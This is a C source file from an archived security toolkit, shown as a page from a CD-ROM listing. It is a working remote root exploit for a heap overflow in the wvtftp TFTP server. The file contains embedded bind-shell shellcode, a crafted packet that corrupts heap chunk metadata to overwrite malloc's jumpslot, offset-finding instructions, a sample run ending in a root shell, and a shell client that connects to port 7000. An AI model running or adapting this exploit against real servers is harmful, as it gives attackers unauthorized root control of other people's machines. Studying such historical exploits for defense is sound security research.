home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / tftp / wvtftpt / wvtftp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  348 lines

  1. /*
  2.  * wvtftp option name heap overflow remote root exploit
  3.  *
  4.  * infamous42md AT hotpop DOT com
  5.  *
  6.  * exploitation is not exactly straight forward.  When we overflow our buffer,
  7.  * we overwrite a pointer that is freed before we get to trigger our overwrite.
  8.  * so we have to restore the state of this pointer to some sane value so it can
  9.  * be freed.  after we do this, we trigger the overwrite, and hijack the
  10.  * jumpslot for malloc().  then to trigger malloc(), we send a bogus request,
  11.  * and then connect to our shell.  all of the offsets should be fixed for 32 bit
  12.  * platforms, all you need to pass is the base address of the heap buffer we're
  13.  * overflowing.  'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and of
  14.  * course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'.
  15.  *
  16.  */
  17.  
  18. #if 0
  19. Usage: ./a.out
  20.         [ -h host ] [ -r object_heap_base ] [ -l retloc ]
  21.         [ -f remote file ] < -p port > < -a align >
  22. [n00b localho outernet] ./a.out -h localho -r 0x8063cd0 -l 0x0805e540
  23.  
  24. connected to localho(127.0.0.1)
  25.  
  26. exploit sent, total data len 597
  27.  
  28. triggering overwritten jumpslot
  29.  
  30.  
  31. connected to localho(127.0.0.1)
  32.  
  33. got a shell
  34.  
  35. id
  36. uid=0(root) gid=0(root)
  37. groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
  38.  
  39.  - Connection closed by user
  40. #endif
  41.  
  42. #include <stdio.h>
  43. #include <sys/types.h>
  44. #include <string.h>
  45. #include <stdlib.h>
  46. #include <unistd.h>
  47. #include <sys/socket.h>
  48. #include <netdb.h>
  49. #include <netinet/in.h>
  50. #include <arpa/inet.h>
  51. #include <stdlib.h>
  52.  
  53. #define REMOTE_FILE "foo"
  54. #define FTP_PORT 69
  55. #define NOP 0x90
  56. #define BS 0x1000
  57. #define SHELL_PORT 7000
  58. #define ALIGN 0
  59. #define die(x) do{ perror(x); exit(1); }while(0)
  60.  
  61. /*  a dlmalloc chunk descriptor */
  62. #define CHUNKSZ sizeof(mchunk_t)
  63. typedef struct _mchunk {
  64.     size_t  prevsz;
  65.     size_t  sz;
  66.     long    fd;
  67.     long    bk;
  68. } mchunk_t;
  69.  
  70. /* program arguments */
  71. typedef struct _args {
  72.     char    *host,
  73.             *remote_file;
  74.     u_long    object_heap_base,
  75.             retloc;
  76.     u_short port,
  77.             align;
  78. } args;
  79.  
  80.  
  81. /* call them shell code */
  82. #define SHELL_LEN (sizeof(remote)-1)
  83. char remote[] =
  84. "\xeb\x0a""1234567890"  /* jump */
  85. "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
  86. "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
  87. "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
  88. "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
  89. "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
  90. "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
  91. "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  92. "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
  93.  
  94.  
  95. void usage(char *progname)
  96. {
  97.     fprintf(stderr, "Usage: %s\n"
  98.                 "\t[ -h host ] [ -r object_heap_base ] [ -l retloc ]\n"
  99.                 "\t[ -f remote file ] < -p port > < -a align >\n",
  100.                     progname);
  101.     exit(EXIT_FAILURE);
  102. }
  103.  
  104.  
  105. void parse_args(int argc, char **argv, args *argp)
  106. {
  107.     int c = 0;
  108.  
  109.     while((c = getopt(argc, argv, "h:p:r:a:l:")) != -1) {
  110.         switch (c) {
  111.             case 'a':
  112.                 argp->align = atoi(optarg);
  113.                 break;
  114.             case 'p':
  115.                 argp->port = atoi(optarg);
  116.                 break;
  117.             case 'r':
  118.                 argp->object_heap_base = strtoul(optarg, NULL, 16);
  119.                 break;
  120.             case 'l':
  121.                 argp->retloc = strtoul(optarg, NULL, 16);
  122.                 break;
  123.             case 'h':
  124.                 argp->host = optarg;
  125.                 break;
  126.             case 'f':
  127.                 argp->remote_file = optarg;
  128.                 break;
  129.             case ':':
  130.             case '?':
  131.             default:
  132.                 usage(argv[0]);
  133.         }
  134.     }
  135.  
  136.     if(optind != argc || argp->align > CHUNKSZ-1 || argp->object_heap_base == 0
  137. || 
  138.         argp->host == NULL || argp->port == 0 || argp->retloc == 0 || 
  139.         argp->remote_file == NULL)
  140.         usage(argv[0]);
  141. }
  142.  
  143. int conn(char *host, u_short port, int proto)
  144. {
  145.     int sock = 0;
  146.     struct hostent *hp;
  147.     struct sockaddr_in sa;
  148.  
  149.     memset(&sa, 0, sizeof(sa));
  150.  
  151.     hp = gethostbyname(host);
  152.     if (hp == NULL) {
  153.         herror("gethostbyname");
  154.         exit(EXIT_FAILURE);
  155.     }
  156.     sa.sin_family = AF_INET;
  157.     sa.sin_port = htons(port);
  158.     sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
  159.  
  160.     sock = socket(AF_INET, proto, 0);
  161.     if (sock < 0)
  162.         die("socket");
  163.  
  164.     /* with UDP this means we can write() instead of sendto() */
  165.     if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
  166.         die("connect");
  167.  
  168.     printf("\nconnected to %s(%s)\n\n", host, inet_ntoa(sa.sin_addr));
  169.     return sock;
  170. }
  171.  
  172. /*
  173.  * ftp packet bytes look like:
  174.  *
  175.  * 0-1 code - [0]*256 + [1] : 1 for read, 2 for write
  176.  * 2 NULL termed file name, must exist and be readable
  177.  * X NULL termed mode [ netascii octet mail ]
  178.  * Y NULL termed option name
  179.  * Z NULL termed option value   : overflow with this string
  180.  * and a bad option to get our pointer freed
  181.  */
  182. void sploit(args *argp, int sock)
  183. {
  184.     int len = 0, align = argp->align, x = 0, begin_packet_data;
  185.     long    retloc = argp->retloc, object_heap_base = argp->object_heap_base;
  186.     char buf[BS], *remote_file = argp->remote_file;
  187.     mchunk_t    chunk;
  188.  
  189.     memset(buf, 0, BS);
  190.     memset(&chunk, 0, CHUNKSZ);
  191.  
  192.     /* set opcode for reading */
  193.     buf[1] = 1;
  194.     len = 2;
  195.  
  196.     /* the file to read,  and the mode */
  197.     len += sprintf(buf + len, "%s",  remote_file) + 1;
  198.     len += sprintf(buf + len, "%s", "octet") + 1;
  199.  
  200.     /* all that follows gets copied via strcpy() */
  201.     begin_packet_data = len;
  202.  
  203.     /* the option */
  204.     len += sprintf(buf+len, "%s", "blksize") + 1; /* 8 */
  205.  
  206.     /* the overflow , but first a valid blocksize to past test */
  207.     len += sprintf(buf+len, "%s", "512");   /* 3 */
  208.  
  209.     /*  
  210.      *  from here buffer looks like:
  211.      *  [ align - shell - chunks - pkttimes - chunks ]
  212.      */
  213. #define OFFSET_TO_OUR_BUF_FROM_BASE 56
  214.     /* setup the chunk */
  215.     chunk.prevsz = 0xfffffffc;
  216.     chunk.sz = 0xfffffffc;
  217.     chunk.fd = retloc - 12;
  218.     chunk.bk = object_heap_base + OFFSET_TO_OUR_BUF_FROM_BASE + align + 11/* 8 +
  219. 3 */;
  220.  
  221.     memset(buf+len, 'A', align);
  222.     len += align;
  223.     memcpy(buf+len, remote, SHELL_LEN);
  224.     len += SHELL_LEN;
  225.   
  226. #define CHUNK_BYTES 416
  227.     for(x = 0; x < CHUNK_BYTES - (CHUNKSZ - 1); x+= CHUNKSZ)
  228.         memcpy(buf+len+x, &chunk, CHUNKSZ);
  229.     len += x;
  230.     buf[len++] = 0;
  231.  
  232.     /* trigger the free with a bad option (no value) */
  233.     len += sprintf(buf+len, "%s", "blksize") + 1;
  234.  
  235.     /*
  236.      * the buffer we overflow is part of a larger structure that is embedded in
  237.      * a class object located on the heap.  the base address of this object is
  238.      * what 'object_heap_base' refers to.  the structure is 'struct TFTPConn',
  239.      * member of the 'class WvTFTPBase'.  we need to repair a pointer in the
  240.      * data that we overwrite.  the pkttimes member of the structure is a
  241.      * pointer to an object of type 'class PktTime' that gets deleted.  in this
  242.      * destructor for the object that gets deleted, a member pointer offset 12
  243.      * bytes in, is a pointer that gets freed via delete.  This freed pointer
  244.      * needs to  be set up by us.  You could create a fake chunk and use that,
  245.      * but it is simpler to just make that pointer be NULL as free(0) does
  246.      * nothing.  there are several spots where we have a guaranteed NULL word
  247.      * inside of the 'struct TFTPConn' class object. so the idea is to point
  248.      * pkttimes 12 bytes below that NULL, so that when it goes to free the
  249.      * pointer, it will use the NULL word.
  250.      */
  251.     
  252.     /* 
  253.      * our buffer is 512 bytes, and we start copying at 2 bytes in.  the
  254.      * distance to pkttimes pointer is 526 bytes, rounded up to 4 byte boundary
  255.      */
  256. #define OFFSET_TO_PKTTIMES_IN_BUFFER 528
  257.     /*
  258.      * we point pkttimes at an area that contains guaranteed NULL word, which is
  259.      * the 'lastsent' member of the TFTPConn structure. it is the number of
  260.      * blocks which have been sent over teh connection so far.  it will always
  261.      * be 0 since no blocks have been sent to us yet.  if we know the base of
  262.      * the object we know where 'lastsent' is located.
  263.      */
  264. #define OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12 40
  265.     *(uint32_t *)(buf + begin_packet_data + OFFSET_TO_PKTTIMES_IN_BUFFER) = 
  266.                 object_heap_base + OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12;
  267.         
  268.     write(sock, buf, len);
  269.     printf("exploit sent, total data len %d\n\n", len);
  270. }
  271.  
  272. void shell(char *host, u_short port)
  273. {
  274.     int sock = 0, l = 0;
  275.     char buf[BS];
  276.     fd_set rfds;
  277.  
  278.     sock = conn(host, port, SOCK_STREAM);
  279.  
  280.     printf("got a shell\n\n");
  281.     FD_ZERO(&rfds);
  282.  
  283.     while(1){
  284.         FD_SET(STDIN_FILENO, &rfds);
  285.         FD_SET(sock, &rfds);
  286.  
  287.         if(select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
  288.             die("select");
  289.  
  290.         if(FD_ISSET(STDIN_FILENO, &rfds)) {
  291.             if((l = read(0, buf, BS)) <= 0)
  292.                 die("\n - Connection closed by user\n");
  293.             if(write(sock, buf, l) < 1)
  294.                 die("write");
  295.         }
  296.  
  297.         if(FD_ISSET(sock, &rfds)) {
  298.             l = read(sock, buf, sizeof(buf));
  299.  
  300.             if (l == 0)
  301.                 die("\n - Connection terminated.\n");
  302.             else if(l < 0)
  303.                 die("\n - Read failure\n");
  304.  
  305.             if(write(1, buf, l) < 1)
  306.                 die("write");
  307.         }
  308.     }
  309. }
  310.  
  311. /*
  312.  * call the function whose jumpslot we overwrote, malloc()
  313.  */
  314. void trigger_retloc(int sock)
  315. {
  316.     char    buf[BS];
  317.     
  318.     write(sock, buf, 200);
  319. }
  320.  
  321. /*
  322.  */
  323. int main(int argc, char **argv)
  324. {
  325.     int sock = 0;
  326.     args    argy;
  327.  
  328.     memset(&argy, 0, sizeof(argy));
  329.     argy.align = ALIGN;
  330.     argy.port = FTP_PORT;
  331.     argy.remote_file = REMOTE_FILE;
  332.  
  333.     parse_args(argc, argv, &argy);
  334.     
  335.     sock = conn(argy.host, argy.port, SOCK_DGRAM);
  336.  
  337.     sploit(&argy, sock);
  338.     
  339.     sleep(2);
  340.     printf("triggering overwritten jumpslot\n\n");
  341.     trigger_retloc(sock);
  342.     sleep(1);
  343.     close(sock);
  344.  
  345.     shell(argy.host, SHELL_PORT);
  346.  
  347.     return EXIT_SUCCESS;
  348. }